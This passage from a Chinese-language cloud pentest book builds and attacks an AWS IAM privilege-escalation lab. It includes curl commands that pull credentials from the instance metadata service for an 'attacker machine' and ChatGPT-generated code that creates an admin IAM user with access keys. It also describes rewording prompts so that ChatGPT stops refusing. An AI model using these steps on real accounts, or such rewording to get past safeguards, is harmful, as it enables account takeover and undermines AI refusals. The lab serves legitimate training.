notebook_instance_role/variables.tf文件,添加以下代码块:variable "notebook_instance_role_name" { type = string } -
现在,在我们的
main.tf(~/**environment/iam_lab/main.tf**)文件中找到以下代码块:module "notebook_instance_role" { source = "./notebook_instance_role" }用以下代码块替换:
module "notebook_instance_role" { source = "./notebook_instance_role" notebook_instance_role_name = (var.notebook_instance_role_name ) }在这里,我们将
notebook_instance_role_name变量值传递给notebook_instance_role模块的notebook_instance_role_name输入变量。 -
将以下代码块添加到我们的
outputs.tf(~/**environment/iam_lab/outputs.tf**)文件中:output "notebook_instance_role_arn" { value = ( module .notebook_instance_role .notebook_instance_role_arn ) }在这里,我们为根模块定义
notebook_instance_role_arn输出。 -
在终端中(
$符号后),运行以下命令以重新初始化 Terraform 工作目录:terraform init确保在运行命令之前,你处于
~/iam_lab目录中。 -
接下来,让我们运行
terraform plan以预览 Terraform 将执行的变更:terraform plan这应该返回以下输出:
Plan: 3 to add, 0 to change, 0 to destroy. -
最后,让我们使用
terraform apply命令来实施变更:terraform apply -auto-approve这应该会生成以下日志信息:
... Apply complete! Resources: 3 added, 0 changed, 0 destroyed. ...
第四部分,共 4 部分 —— 定义notebook_instance模块资源
现在我们已经完成了前两个模块的 Terraform 代码和文件准备工作,接下来让我们集中精力编写第三个模块——notebook_instance模块的代码。请按照以下步骤操作:
-
让我们从打开并更新
notebook_instance/lifecycle_script.sh文件开始,文件内容如下:#!/bin/bash sudo -u ec2-user -i <<EOF cd /home/ec2-user/SageMaker wget https://raw.githubusercontent.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/main/ch07/Lab%2000.ipynb mkdir -p scripts && cd scripts wget https://raw.githubusercontent.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/main/ch07/scripts/inference.py wget https://raw.githubusercontent.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/main/ch07/scripts/requirements.txt wget https://raw.githubusercontent.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/main/ch07/scripts/setup.py EOF此脚本将在启动时下载所需的工作坊文件到笔记本实例中。在继续到下一步之前,确保保存
lifecycle_script.sh文件。
注意
你可以在此处找到生命周期配置脚本文件的副本:
-
接下来,在编辑器中打开
notebook_instance/main.tf文件。添加以下代码块以定义 SageMaker 笔记本实例资源及其生命周期配置:resource "aws_sagemaker_notebook_instance_lifecycle_configuration" "lifecycle_config" { name = "lifecycle-config" on_create = ( base64encode( file("${path.module}/lifecycle_script.sh") ) ) } locals { instance_role_arn = var.notebook_instance_role_arnlifecycle_config_name = aws_sagemaker_notebook_instance_lifecycle_configuration.lifecycle_config.name } resource "aws_sagemaker_notebook_instance" "notebook_instance" { name = var.notebook_instance_name instance_type = "ml.t3.medium" role_arn = local.instance_role_arn lifecycle_config_name = local.lifecycle_config_name tags = { Name = "notebook-instance" } }还记得我们在早期步骤中准备的
lifecycle_script.sh文件中的脚本吗?在创建 SageMaker 笔记本实例期间,它将被执行,从 GitHub 存储库下载四个文件到笔记本实例的/home/ec2-user/SageMaker目录。 -
在
notebook_instance/variables.tf文件中,让我们定义以下变量:variable "notebook_instance_name" { type = string } variable "notebook_instance_role_arn" { type = string } -
现在,让我们在 Cloud9 编辑器中打开
~/environment/iam_lab/main.tf文件,并找到以下代码块:module "notebook_instance" { source = "./notebook_instance" }让我们用以下代码块替换它:
module "notebook_instance" { source = "./notebook_instance" notebook_instance_role_arn = (module.notebook_instance_role .notebook_instance_role_arn )notebook_instance_name = var.notebook_instance_name }在这里,我们将
notebook_instance_role模块的notebook_instance_role_arn输出值传递给notebook_instance模块的notebook_instance_role_arn输入变量。除此之外,我们还将notebook_instance_name变量值传递给notebook_instance模块的notebook_instance_name输入变量。 -
在终端(在
$符号后),运行以下命令以重新初始化 Terraform 工作目录:terraform init在运行命令之前,请确保你位于
~/iam_lab目录内。 -
让我们运行
terraform plan以预览 Terraform 将执行的更改。terraform plan -
接下来,让我们使用
terraform apply命令来实施这些更改:terraform apply -auto-approve运行该命令应该会启动 SageMaker 笔记本实例并运行生命周期配置脚本。这将产生以下输出:
... Outputs: iam_workshop_user_password = "..." iam_workshop_user_username = "..." notebook_instance_role_arn = "..." signin_url = "..."确保将输出值(
signin_url、iam_workshop_user_username、iam_workshop_user_password)复制到本地机器上的文本编辑器中,因为我们将在后续步骤中使用这些值。
注意
这一步可能需要大约 5-10 分钟才能完成。在等待期间可以随意泡杯咖啡或茶!
到此为止,我们已完成 IAM 特权升级实验室的设置!此时我们的实验室环境如下所示:

图 7.25 – IAM 特权升级实验室的完整设置
如图 7**.25所示,我们已设置和配置了以下资源:(1)用于访问工作环境的 IAM 用户,(2)SageMaker 笔记本实例,(3)带有标志的 S3 存储桶以及(4)带有标志的 QLDB 账本数据库。这张图中未显示的是用于在账户内提升权限的易受攻击的 Lambda 执行角色。
在进行渗透测试模拟以验证我们实验室环境的配置之前,我们将简要讨论如何使用生成式 AI 工具生成有效的漏洞利用代码(该代码将用于渗透测试模拟)。
使用生成式 AI 工具生成漏洞利用代码
生成式 AI 已经席卷全球,彻底改变了各个行业和创意领域。从生成图像和视频到甚至模拟自然语言对话,生成式 AI 在人工智能领域推动了可能性的边界。它生成新颖且富有创意的内容的能力,激发了各个领域和应用的创新。
注释
由于这不是一本关于 AI 和机器学习(ML)的书,我们将把范围限制在主要主题上,专注于实际应用和示例。如果你有兴趣深入了解 AI 和机器学习,网上有大量的资源可以帮助你入门。我也写过两本关于机器学习的书(机器学习是 AI 的一个子集)——《使用 Amazon SageMaker 的机器学习食谱》 和 《AWS 上的机器学习工程》,由 Packt Publishing 出版。如果你想了解更多关于如何在云端构建和部署机器学习模型,欢迎查看这些书籍!
如果你以前使用过生成式 AI 解决方案,比如 ChatGPT,你可能已经意识到,精心设计的提示(或输入问题和指令)可以显著提高生成输出的质量。问对问题能得到更好的答案。精确和有上下文的提示设计是释放生成式 AI 全潜力的关键策略。假设你因为忘记吃早餐而感到饥饿,而且已经超过了午餐时间。如果你告诉你的朋友,“我饿了”,他们可能只是简单地回应,“我也饿了”。然而,如果你给朋友更多的上下文,说明,“我忘记吃早餐了,由于整天都在工作,现在我非常饿。我们现在去外面吃午餐吧”,你可能会得到一个更有针对性和个性化的回答,比如,“当然,你想去哪儿吃?”这个例子展示了精确且经过良好设计的输入的力量——不仅仅在人与人之间的对话中,也在人机交互中,尤其是与生成式 AI 工具的互动。
就像添加更多信息和上下文能促使你的朋友给出更相关和具体的回应一样,精确设计提示能够释放生成式 AI 的全部潜力。如果我们向生成式 AI 解决方案(如 ChatGPT)提问相同的问题,会得到什么样的回应呢?让我们看看它是如何回答的:

图 7.26 – 告诉 AI 工具我们饿了
AI 工具返回的答案可能不是我们预期的,因为我们想要在外面吃午餐。首先,我们甚至没有提出问题!我们指定的陈述有些模糊,也没有提到我们想在外面吃。如何给 AI 提供我们改进后的陈述呢?我们来看看它现在的回应:

图 7.27 – 告诉 AI 工具我们想在外面吃午餐
既然我们在与一个基于文本的 AI 工具交流,我们当然不能指望它实际和我们一起吃午餐!除此之外,我们可以看到 AI 工具返回的答案与之前的响应截然不同,因为它为我们的“午餐外出”提供了建议和提示。虽然这个答案相比之前的更好,但我们仍然可以通过测试其他替代方案和输入的变体进一步改进生成的回答。
在本节中,我们将使用 ChatGPT 这一非常流行的生成式 AI 解决方案为我们生成代码。虽然还有其他可用的替代方案和选择,但我们将主要使用 ChatGPT 来展示本章的示例。你将看到,使用现有的 AI 工具生成可运行的代码是多么简单。学习如何利用 AI 工具的强大功能将大大加速渗透测试模拟中准备利用代码的过程。我们将本节内容分为以下三个部分:
-
第一部分 / 共 3 部分 – 生成一个返回 AWS 账户 ID 的 Python 函数
-
第二部分 / 共 3 部分 – 生成一个生成随机密码的 Python 函数
-
第三部分 / 共 3 部分 – 生成一个创建新 IAM 用户的 Python 代码
重要提示
本节生成的代码不应被用于不道德和非法的活动。本节讨论的示例和解决方案仅限于符合伦理和法律标准的应用。
有了这些要点,让我们开始吧!
第一部分 / 共 3 部分 – 生成一个返回 AWS 账户 ID 的 Python 函数
请按以下步骤操作:
-
打开一个新的浏览器标签页,访问
chat.openai.com/auth/login并使用你的 OpenAI 账户登录:![]()
图 7.28 – 访问 ChatGPT
如果你还没有账户,点击注册按钮创建一个 OpenAI 的新账户。一个免费账户就能满足需求!
-
登录你的账户后,创建一个新的聊天会话,并输入以下提示:
Generate a new Python function called get_caller_id that uses boto3 to return the AWS Account ID这应该会给我们一个类似于图 7.29的响应:
![]()
图 7.29 – 使用 ChatGPT 生成一个 get_caller_id 函数
在这里,我们可以看到我们的提示指示 AI 模型创建一个新的 Python 函数,名为
get_caller_id。我们在提示中说明该函数的目的是利用boto3库(AWS 软件开发工具包(SDK)for Python)返回 AWS 账户 ID。请注意,在进行此示例时,你可能会从 ChatGPT 获得不同的回应。
注意
请随时通过以下链接查看共享的聊天内容:
chat.openai.com/share/169f0851-c86f-43d4-aea1-4a560008f713
-
打开一个 CloudShell 环境(在你的 AWS 账户中),并按以下方式逐行执行命令:
pip3 install ipython ipython3这将启动一个交互式 shell 会话,在其中我们可以直接从命令行执行 Python 代码。
-
在终端中,运行以下命令以便粘贴多行代码片段:
%cpaste这应该会输出一条日志消息,内容为粘贴代码;单独在一行输入'--'以停止或
使用 Ctrl-D。 -
现在,粘贴生成的代码(在
:实例后)以检查代码是否正常工作:import boto3 def get_caller_id(): # ... sts_client = boto3.client('sts') # ... response = sts_client.get_caller_identity() # ... account_id = response['Account'] return account_id按下Enter键。输入
--,然后再次按Enter键。 -
在我们定义了生成的函数后,现在可以尝试调用该函数,看看它是否按预期工作:
get_caller_id()这应该会返回你账户的 AWS 账户 ID。需要注意的是,AI 工具生成的代码可能并不总是有效!如果在运行代码时遇到问题,我们可以通过输入以下提示来请求工具帮助我们解决问题:你生成的代码无法正常工作。我遇到了以下错误信息:<在此插入错误信息>。当然,如果 AI 工具的建议不起作用,另一个选择是我们自己排查并修复代码问题。
注意
我们才刚刚开始!虽然这不一定是漏洞利用代码,但我们使用 ChatGPT 生成的函数将是整体漏洞利用代码的一部分。
第二部分(共 3 部分) – 生成一个生成随机密码的 Python 函数
现在,让我们生成一个 Python 函数来生成随机密码。按以下步骤操作:
-
创建一个新的聊天会话并输入以下提示:
Generate a new Python function called `generate_random_password` that accepts a parameter `length` with a default value of 16 and returns a randomly generated string value这应该会给我们一个类似于图 7.30的响应:
![]()
图 7.30 – 使用 ChatGPT 生成 Python 代码
在这里,我们可以看到我们的提示指示 AI 模型生成一个新的 Python 函数,名为
generate_random_password。我们在提示中说明了该函数的目的是生成一个随机密码字符串。我们指定该函数应接受一个参数长度,默认为16,并返回一个指定长度的随机生成的字符串值。 -
向下滚动并输入以下提示,更新 ChatGPT 生成的先前代码:
Update the previous answer by using `secrets` instead of `random`这应该会给我们一个类似于图 7.31的响应:
![]()
图 7.31 – 更新之前的聊天响应
在这里,我们让 ChatGPT 更新了之前的答案,并使用
secrets模块代替了random模块。看起来我们可以在之前的答案基础上继续构建并生成一个新的代码块!很棒,对吧?
注意
随时可以通过以下链接查看共享的聊天记录:
chat.openai.com/share/0856c3a4-2673-4d24-869d-47b4d128d099
第三部分,共 3 部分 – 生成创建新 IAM 用户的 Python 代码
现在,让我们生成一个创建新 IAM 用户的 Python 代码。按以下步骤操作:
-
创建一个新的聊天会话,然后输入以下提示:
Generate Python code that uses the boto3 library to create a new IAM user with the AdministratorAccess policy attached to it这应该会给我们一个类似于图 7.32所示的响应:
![]()
图 7.32 – 生成一个创建新 IAM 用户的 Python 代码
在这里,我们可以看到我们的提示指示 AI 模型创建了一个新的 Python 函数。我们在提示中明确指出,该函数的目的是利用
boto3库(AWS SDK for Python)来创建一个附加了AdministratorAccess策略的新 IAM 用户。 -
让我们在之前的答案基础上输入以下提示:
Update the previous answer by having the function create an access key id and secret access key as well这应该会给我们一个类似于图 7.33所示的响应:
![]()
图 7.33 – 使用正确的提示更新生成的代码
看起来我们可以通过正确的提示对之前生成的代码进行重大修改!
注意
随时可以通过以下链接查看共享的聊天记录:
chat.openai.com/share/9913ac57-2b1e-4bce-adda-04f3521c64fe
-
等等……我们还没完成!让我们输入以下提示:
Update the previous answer by: 1\. Specifying a randomly generated password so that we can sign in as the IAM user with the specified username and password 2\. Disabling password reset so that we won't need to change the password upon signing in 3\. Having the function return the access key ID, secret access key, username, and password这应该会给我们一个类似于图 7.34所示的响应:
![]()
图 7.34 – 使用正确的提示更新生成的代码(续)
现在,它开始更像是利用代码了!如果你仔细想想,利用代码(多多少少)就是“正常”代码,用来利用系统、应用程序和网络中的漏洞。尽管利用代码可能包含一些通常不出现在“正常”代码中的代码块,但在结构、逻辑和流程方面,它与“正常”代码有很多相似之处。
注意
这段代码稍后将在 AWS Lambda 函数中使用,该函数将在实验环境中创建(用于提权)进行渗透测试模拟。
使用生成式 AI 工具(如 ChatGPT)时,我们需要考虑的一个显著挑战是,AI 工具有时会因为问题或指令的非伦理性(或有害性)而屏蔽或拒绝响应。值得注意的是,虽然这个功能有效地抑制了对大量“非伦理”提示的回应,但它也可能无意中妨碍对其他提示的回应。为了解决这个问题,我们应该尝试将当前的提示转换为一个听起来更容易接受的提示(从 AI 的角度来看)。例如,不要直接使用如何破解密码,而可以尝试使用假设你是一个渗透测试员,任务是检查密码的安全性。定义以伦理方式破解密码的步骤作为输入提示来获取预期的回应。请随意尝试其他变体,因为已知的解决方法可能会在几年后失效(以防止用户滥用特定提示)。
在实验室环境中模拟渗透测试
在上一节中,我们使用了 ChatGPT(一个生成式 AI 解决方案)来帮助我们生成利用代码。如果你想知道我们将在哪里使用这些生成的代码,我们将在本节的渗透测试模拟中使用它。
在我们的模拟中,我们将从一组具有有限权限的车间用户帐户凭据开始。车间用户帐户应该允许实验室用户访问一个 SageMaker 笔记本实例及其内部存储的文件。此外,实验室用户还应能够运行存储在笔记本实例中的.ipynb文件中的代码(借助附加到笔记本实例的 IAM 角色的权限)。
让我们看一下我们将在本节中做的事情概述:

图 7.35 – 本节中我们将要执行的高层次流程图
由于附加到 SageMaker 笔记本实例的角色配置了过于宽松的内联策略,我们将能够通过在实例中运行命令来检索存储在 S3 存储桶中的标志。除此之外,同一个角色将被用来在 AWS 帐户内提升权限,并创建一个具有管理员(完全访问)权限的新用户!在执行正确的步骤顺序后获取到的额外权限使我们能够从 QLDB 数据库资源中检索存储的标志。
鉴于我们将在这个(简化的)渗透测试模拟中执行的步骤数量,我们将本节分为以下四个部分:
-
第一部分,共 4 部分 – 从S3 存储桶中检索标志
-
第二部分,共 4 部分 – 寻找 易受攻击的资源
-
第三部分,共 4 部分 – 使用 Lambda 执行角色进行 权限提升
-
第四部分,共 4 部分 – 从 分类账数据库中检索标志*
重要说明
攻击其他用户或公司拥有的云资源是非法且不道德的。在继续之前,请确保阅读第一章中关于在云中构建渗透测试实验室环境时的考虑事项部分,开始使用云中的渗透测试实验室,因为我们将模拟攻击过程,以验证目标虚拟机实例中运行的应用程序和服务中的配置错误和漏洞是否可以被利用。
记住这些要点后,我们可以开始渗透测试模拟。
第一部分,共 4 部分 – 从 S3 存储桶中获取标志
按照以下步骤操作:
-
在私密浏览(或隐身)标签页中打开
signin_url链接,类似于图 7.36所示:![]()
图 7.36 – 使用 workshop IAM 用户账户登录
记得我们之前复制到本地文本编辑器中的输出值(
signin_url、iam_workshop_user_username和 iam_workshop_user_password)吗?让我们用这些值在私密浏览窗口中访问 AWS 账户。
注意
需要注意的是,尽管不同浏览器对于私密浏览的术语可能略有不同,但一般过程是相同的。在Google Chrome中,我们只需点击位于窗口右上角的三点菜单图标,然后从菜单中选择新建隐身窗口或新建隐身标签页来打开新的私密浏览标签页。在 Firefox 中,我们也可以点击位于浏览器右上角的三点菜单图标,然后选择新建私密窗口或新建私密标签页。如果您不是在使用 Chrome 或 Firefox,您可以查阅相关官方文档,了解如何使用您选择的浏览器打开私密浏览窗口或标签页。
-
在 AWS 控制台的搜索栏中,输入
sagemaker:![]()
图 7.37 – 导航至 SageMaker 控制台
从结果列表中选择
Amazon SageMaker,如图 7.37所示。 -
在导航面板(侧边栏)中,选择
Notebook** >Notebook 实例**。
注意
确保您处于与本章前面创建资源时相同的区域(例如,us-east-1)。
-
找到我们之前使用 Terraform 创建的 SageMaker notebook 实例:
![]()
图 7.38 – 打开 JupyterLab
点击打开 JupyterLab,如图 7.38所示。如果您之前没有使用过
JupyterLab,它是一个用于处理 Jupyter 笔记本的高级集成开发环境(IDE)。与传统的Jupyter** **Notebook界面相比,它提供了更丰富且灵活的功能界面。
注意
JupyterLab 界面可能需要大约 5-10 分钟才能加载。如果 10 分钟后页面仍然是空白,直接刷新页面或使用 Jupyter(在 AWS 管理控制台的笔记本实例列表中点击打开 Jupyter)即可。
-
一旦 JupyterLab 界面加载完成,我们应该会看到已经有几个文件准备好使用,类似于图 7.39所示:
![]()
图 7.39 – JupyterLab 界面
在这里,我们可以看到我们有
Lab 00.ipynb文件以及scripts目录。如果你在想这些文件是怎么到这里的,生命周期配置脚本在创建 SageMaker 笔记本实例时自动下载了这些文件。 -
从文件菜单中打开一个新的终端(文件 > 新建 > 终端):
![]()
图 7.40 – 打开一个新的终端
这应该会打开一个类似于图 7.41所示的终端:
![]()
图 7.41 – 我们将在此终端中运行命令来检索存储在 S3 存储桶中的标志
在这个终端中,我们将直接运行命令来检索存储在 S3 存储桶中的标志。然而,如果我们需要从元数据服务中提取凭证(并假设将其复制到攻击者机器),我们可以运行以下命令:
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 300" http://169.254.169.254/latest/api/token)curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance在这里,我们假设实例配置了实例元数据服务版本
**2(IMDSv2**),并运行命令。
注意
或者,如果实例配置了 IMDSv1,我们可以改用以下命令:curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance。
-
运行以下命令(在
$符号后)列出帐户中的 S3 存储桶:aws s3 ls在 Cloud9 环境中找到我们在之前步骤中创建的 S3 存储桶的名称。
-
接下来,运行以下命令列出 S3 存储桶中的文件:
S3_BUCKET=<S3 BUCKET NAME> aws s3 ls s3://$S3_BUCKET确保将
<S3 BUCKET NAME>替换为我们在之前步骤中创建的存储桶名称。如果你已经忘记了,我们在本章的第二部分中的第三部分 - 手动设置 S3 存储桶并存储第二个标志小节中手动创建了一个 S3 存储桶(并在其中存储了一个标志)。 -
让我们检查是否能通过运行以下命令下载存储在 S3 存储桶中的
flag.txt文件:aws s3 cp s3://$S3_BUCKET/flag.txt flag.txt由于附加到笔记本实例的角色配置了过于宽松的内联策略,运行上面的命令应该会得到以下输出:
download: s3://.../flag.txt to ./flag.txt -
现在,让我们检查存储在
flag.txt文件中的标志值:cat flag.txt这应该给我们带来
FLAG#2!一个完成了,还有一个要继续!![]()
图 7.42 – 目前为止的进展
很棒,成功获取了第一个标志!即使我们先获取了
FLAG#2,也不用担心!在渗透测试实验室中,可能有多种方式来获取特定的标志并访问环境的不同组件。
重要提示
请注意,我们可以跳过此步骤(即从 S3 桶中获取标志),并首先继续从 QLDB 数据库资源中获取存储的标志。在获取FLAG #1(存储在 QLDB 数据库资源中)后,我们可以使用与获取 QLDB 数据库资源中标志相同的 IAM 用户帐户,继续从 S3 桶中获取标志。
第二部分,共 4 部分——寻找易受攻击的资源
现在,让我们快速浏览一下Lab 00.ipynb文件的内容,也许我们会找到利用工作坊资源提升权限的方法!请按照以下步骤操作:
-
双击
Lab 00.ipynb笔记本文件(在图 7.43中高亮显示)以打开 Jupyter 笔记本:![]()
图 7.43 —— 打开 Lab 00.ipynb 笔记本文件
当提示选择内核时,从可用选项列表中选择
conda_python3。如果你在想内核是什么,它是一个运行 Jupyter 笔记本代码的运行时环境。它支持不同的编程语言,并允许用户在交互式和模块化的环境中运行代码、显示输出并与数据交互。 -
花几分钟阅读笔记本中的代码。你会看到笔记本分为七个部分,如下所示:
-
下载预训练模型——运行代码将从 GitHub 仓库下载预训练模型文件到 SageMaker 笔记本实例。然后,这些模型文件被合并回单个
model.tar.gz文件。 -
将 model.tar.gz 文件上传到 Amazon S3——
model.tar.gz文件被上传到新的 Amazon S3 桶中。 -
将预训练模型部署到 SageMaker 实时推理端点——该模型被部署到
ml.m5.xlarge推理端点实例,使其能够通过 API 处理实时数据并提供预测(或推理)。 -
执行样本预测——将样本请求传递给已部署的模型,以检查模型是否按预期正常工作。在这里,模型接收一组语句并返回这些语句是否应标记为正面或负面。
-
将 ML 推理端点调用脚本传输到 AWS Lambda——在这里,我们通过编程创建一个 AWS Lambda 函数,使用
boto3(Python 的 AWS SDK)来调用 SageMaker 推理端点。 -
调用 Lambda 函数(该函数调用 SageMaker 端点)——AWS Lambda 函数在程序中参与,验证 SageMaker 推理端点是否可以从 Lambda 函数成功触发。
-
清理——在此步骤中,Lambda 函数和 SageMaker 推理端点实例都被删除。
-
-
现在我们对
Lab 00.ipynb文件的内容有了更好的了解,让我们找到以下代码块(在将 model.tar.gz 文件上传到 Amazon S3下):![]()
图 7.44 – 指定唯一的 S3 桶名称
确保将
<INSERT NEW S3 BUCKET NAME>替换为唯一的 S3 桶名称。请注意,这里使用的 S3 桶名称应该是一个尚不存在的桶名称。 -
接下来,向下滚动直到找到以下代码块(在将 ML 推理端点调用脚本传输到 AWS Lambda下):
![]()
图 7.45 – 指定 AWS Lambda 执行角色名称
将
<LAMBDA ROLE NAME>替换为你在前面的步骤中手动创建的 IAM 角色的名称(例如,lambda-role)。如果你已经忘记,我们在本章早些时候的第三部分-3 节:创建一个脆弱的 Lambda 执行角色小节中手动创建了一个脆弱的 Lambda 执行角色。 -
由于运行整个笔记本可能需要大约 15-30 分钟才能完成,因此我们无需运行笔记本中的任何单元格。相反,让我们通过再次阅读笔记本代码和文档来查找配置错误和漏洞资源!在将 ML 推理端点调用脚本传输到 AWS Lambda下,你会注意到提到我们指定的 Lambda 执行角色附加了
IAMFullAccess托管策略。按照正确的步骤顺序,我们可以使用这个 IAM 角色,并运行一个 Lambda 函数,该函数会创建一个新 IAM 用户,并为其附加AdministratorAccess策略。这样,我们就可以访问 AWS 账户中的其他资源,包括包含另一个标志的 QLDB 账本数据库。重要提示
如果你决定运行
Lab 00.ipynb笔记本文件中的单元格,请确保删除任何已创建的资源。
第三部分,共 4 部分 – 使用 Lambda 执行角色进行权限提升
按照以下步骤操作:
-
在新浏览器标签页中打开以下链接:
github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/blob/main/ch07/solution/Lab%20Solution.ipynb。这将下载实验解决方案笔记本文件:![]()
图 7.46 – 复制链接地址以下载实验解决方案笔记本文件
右键点击原始按钮,并从上下文菜单的选项列表中选择复制链接地址。
注意
这应该会将以下链接复制到我们的剪贴板:github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/raw/main/ch07/solution/Lab%20Solution.ipynb。
-
现在,在 JupyterLab 环境中的新终端中运行以下命令,$ 符号后:
DOWNLOAD_URL=`https://github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/raw/main/ch07/solution/Lab%20Solution.ipynb` cd ~/SageMaker wget $DOWNLOAD_URL这将下载
Lab Solution.ipynb笔记本文件到我们的 SageMaker 笔记本实例中。 -
双击
Lab Solution.ipynb笔记本文件(在 图 7**.47 中突出显示),以打开 Jupyter 笔记本:![]()
图 7.47 – 打开 Lab Solution.ipynb 文件
如果在文件浏览器中看不到反映新文件,请随意单击 刷新文件浏览器 按钮。
-
花几分钟阅读笔记本中的代码。您会看到笔记本分为三个部分,如下:
-
设置创建具有管理员访问权限的 Lambda 函数—使用与在
Lab 00.ipynb中创建 Lambda 函数类似的方法,我们使用boto3程序化地创建一个 Lambda 函数。这次,我们将创建的 Lambda 函数将使用本章节 使用生成型 AI 工具生成利用代码 部分中 ChatGPT 生成的代码片段。 -
调用创建的 Lambda 函数—运行代码块会调用前一步创建的 Lambda 函数。这应该会返回用新创建的 IAM 用户账户(使用 Lambda 函数创建)登录的凭据。
-
删除 Lambda 函数—此步骤中删除 Lambda 函数。请注意,新创建的 IAM 用户账户不会被删除,应在完成本章节后单独删除。
-
-
定位以下代码块(在 设置创建具有管理员访问权限的 Lambda 函数 下):
![]()
图 7.48 – 指定易受攻击的 Lambda 执行角色名称
将
<LAMBDA ROLE NAME>替换为您在较早步骤手动创建的 IAM 角色名称(例如 lambda-role)。如果您已经忘记了,我们在本章节 手动设置云资源和标志 部分的 Part 3 of 3 – Creating a vulnerable Lambda execution role 子部分中手动创建了一个易受攻击的 Lambda 执行角色,并且在之前运行Lab 00.ipynb笔记本时使用了相同的 IAM 角色。 -
滚动到笔记本顶部,逐个运行所有单元格。
注意
在笔记本中运行所有单元格后,我们应该有一个新的 IAM 用户(用户名为 new-iam-user,附有 AdministratorAccess 策略)。
-
现在,让我们定位到包含以下代码块的单元格(位于 调用创建的 Lambda 函数 部分):
result = invoke_function(function_name) result在运行完所有单元格后,我们要查找的单元格应该有以下输出值:
'{"statusCode": 200, "body": {"username": "new-iam-user", "access_key": "...", "secret_key": "...", "password": "..."}}'将用户名和密码的值复制到本地机器上的文本编辑器中。看起来我们成功地在实验室环境中提升了权限!! 刚才发生了什么? 由于附加在 SageMaker 笔记本实例上的 IAM 角色允许我们创建并调用 AWS Lambda 函数,我们能够创建一个自定义的 Lambda 函数资源,进而创建了一个具有
AdministratorAccess权限策略的新 IAM 用户。考虑到 Lambda 执行角色(也就是我们在前一步创建的易受攻击的 IAM 角色)附加了IAMFullAccess管理策略,我们成功地创建了这个新 IAM 用户(并且该用户拥有几乎所有账户资源的完全访问权限!)。
注意
如果遇到 权限被拒绝 错误,稍等一分钟(因为 Lambda 函数可能需要一些时间才能正确创建和配置),然后再次运行包含 invoke_function(function_name) 的代码块。如果遇到 创建 IAM 用户错误 的消息,请确保在调用 Lambda 函数之前,系统中没有名为 new-iam-user 的 IAM 用户。
在继续下一部分之前,让我们快速回顾一下到目前为止的进展:

图 7.49 – 我们当前进度的高级视图
类似于 图 7.49 所示,通过使用附加在 SageMaker 笔记本实例上的 IAM 角色和易受攻击的 Lambda 执行角色,我们成功地提升了权限,并创建了一个具有管理员权限的新 IAM 用户。我们可以用这个新 IAM 用户做什么? 我们将使用这个用户来检索存储在 QLDB 分类账数据库中的标志!
第四部分,共 4 部分 – 从分类账数据库中检索标志
按照以下步骤操作:
-
现在,我们已经创建了一个附加了
AdministratorAccess策略的 IAM 用户,让我们使用不同浏览器配置打开一个新的浏览器标签页:![]()
图 7.50 – 以访客身份打开新的浏览器标签页
要在
Google Chrome中以访客身份打开一个新的浏览器标签页,我们只需点击 Chrome 窗口右上角的个人资料图标,然后从下拉菜单中选择打开访客窗口或打开访客模式。这将以访客模式打开一个新的 Chrome 窗口,允许我们在与常规浏览个人资料分开的情况下进行私人浏览。在Mozilla Firefox中,我们可以通过创建一个单独的个人资料以访客身份打开新的浏览器标签页。为此,我们需要点击 Firefox 窗口右上角的个人资料图标,然后选择管理个人资料并创建一个新个人资料,命名为访客或任何其他首选名称。一旦新个人资料创建完成,我们可以选择它并启动 Firefox。这将以访客模式打开一个新的 Firefox 窗口,提供一个隔离的浏览环境。
注释
如果你没有使用 Chrome 或 Firefox,可以通过查阅官方文档和在线资源,了解如何在你选择的浏览器中以访客身份打开新的浏览器标签页。或者,我们也可以简单地在当前浏览会话中注销当前的 IAM 用户账户。
-
在新的浏览器标签页中,导航到之前以
sagemaker-workshop-user身份登录时使用的相同网址:![]()
图 7.51 – 以 new-iam-user IAM 用户身份登录
这次,登录控制台时,使用
new-iam-user作为IAM 用户名,并使用随机生成的密码作为密码字段的值。
注释
使用之前复制到文本编辑器中的相同signin_url值。
-
我们通过在搜索框中输入
qldb并从结果列表中选择Amazon QLDB来查看 QLDB 数据库资源列表(如图 7.52所示):![]()
图 7.52 – 导航到 Amazon QLDB 控制台
由于我们正在使用的
new-iam-user用户账户已附加了AdministratorAccess权限策略,因此我们应该能够访问任何现有的 Amazon QLDB 资源。 -
使用导航窗格,通过点击侧边栏中的账本来导航到账本列表。
-
在账本列表中,点击
booksLedger链接,位置在名称栏下,如图 7.53所示:![]()
图 7.53 – 定位到 booksLedger 链接
这是我们在本章的手动设置云资源和标志部分中创建的相同账本。
-
现在,点击查询账本按钮。这应该会打开 PartiQL 编辑器,类似于图 7.54所示:
![]()
图 7.54 – PartiQL 编辑器
在选择一个账本下拉菜单中,从可用选项中选择
booksLedger。 -
让我们首先运行以下查询,查看
books表中的内容:SELECT * FROM books;向下滚动查看查询结果。你可以选择表格格式(而非文档格式),类似于图 7.55所示:
![]()
图 7.55 – 运行 SELECT * FROM books;后的查询结果
在这里,我们应该看到
books表为空,并且运行SELECT * FROM** **books;查询后返回了0条文档。
注意
由于我们表中的记录已经被删除,你可能会想知道标志如何仍然能够从表中检索出来!我们将在接下来的步骤中看到如何实现。
-
现在,让我们运行以下查询:
SELECT * FROM history(books);向下滚动至查询结果,选择表格格式(而非文档格式),以便更轻松地查看每个单元格的值。这一次,即使
books表为空,我们仍然应该能够检索到修订历史,类似于图 7.56中的内容:![]()
图 7.56 – 定位标志值
向左滚动表格,定位到
data.Flag列(及其值),如图 7.56中所示。我们应该看到标志值为Flag # 1!即使我们删除了 QLDB 账本表中的所有记录,我们仍然能够检索到交易历史(包括我们之前添加带有标志值记录的交易)。使用 Amazon QLDB 时,我们可以访问一个加密可验证的日志(或记录),记录所有已执行的更改——即使在删除操作后,我们仍然能够重建更改历史。太神奇了,对吧?
注意
